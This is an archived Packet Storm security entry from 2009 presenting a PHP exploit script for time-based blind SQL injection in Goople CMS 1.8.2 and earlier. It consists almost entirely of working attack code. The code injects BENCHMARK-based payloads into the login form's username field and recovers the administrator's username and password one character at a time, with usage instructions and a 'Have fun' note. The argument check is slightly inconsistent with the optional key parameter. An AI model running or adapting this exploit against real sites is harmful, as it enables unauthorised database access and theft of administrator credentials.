Goople 1.8.2 Blind SQL Injection Exploit

2009-01-07T00:00:00
ID PACKETSTORM:73625
Type packetstorm
Reporter darkjoker
Modified 2009-01-07T00:00:00

Description

                                        
                                            `#--+++=========================================================+++--#  
#--+++====== Goople <= 1.8.2 Blind SQL Injection Exploit ======+++--#  
#--+++=========================================================+++--#  
  
#!/usr/bin/php  
<?  
  
function usage ()  
{  
echo  
"\n[+] Goople <= 1.8.2 Blind SQL Injection Exploit".  
"\n[+] Author: darkjoker".  
"\n[+] Site : http://darkjoker.net23.net".  
"\n[+] Usage : php xpl.php <hostname> <path> [key]".  
"\n[+] Ex. : php xpl.php localhost /goople abcdefghijklmnopqrstuvwxyz".  
"\n[+] Note : Have fun ^^\n\n";  
exit ();  
}  
  
function check ($hostname, $path, $field, $pos, $char)  
{  
$char = ord ($char);  
$fp = fsockopen ($hostname, 80);  
$usr = "username=1' OR IF((ASCII(SUBSTRING((SELECT {$field} FROM GoopleCMS_users_ WHERE id =1),{$pos},1))={$char})".  
",BENCHMARK(200000000,CHAR(0)),0) OR '1' = '2";  
$usr = str_replace ("'", "%27", $usr);  
$usr = str_replace (" ", "%20", $usr);  
$pwd = "password=asd";  
$sub = "loginsubmit=loginsubmit&loginsubmit=Login";  
$str = "{$usr}&{$pwd}&{$sub}";  
$post = "POST {$path}/frontpage.php HTTP/1.1\r\n".  
"Host: {$hostname}\r\n".  
"Connection: Close\r\n".  
"Content-Type: application/x-www-form-urlencoded\r\n".  
"Content-Length: " . strlen ($str) . "\r\n\r\n".  
$str;  
  
fputs ($fp, $post);  
$a = time ();  
while (!feof ($fp))  
$res .= fgets ($fp, 1024);  
  
$b = time ();  
fclose ($fp);  
  
if ($b - $a > 4)  
return true;  
else  
return false;  
}  
  
  
function brute ($hostname, $path, $field, $key)  
{  
$pos = 1;  
$chr = 0;  
while ($chr < strlen ($key))  
{  
if (check ($hostname, $path, $field, $pos, $key [$chr]))  
{  
echo $key [$chr];  
$chr = -1;  
$pos++;  
}  
$chr++;  
}  
}  
  
  
if (count ($argv) != 3)  
usage ();  
  
$hostname = $argv [1];  
$path = $argv [2];  
$key = $argv [3];  
if (empty ($key))  
$key = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";  
  
echo "[+] Username: ";  
brute ($hostname, $path, "username", $key);  
echo "\n[+] Password: ";  
brute ($hostname, $path, "password", $key);  
echo "\n";  
  
?>  
`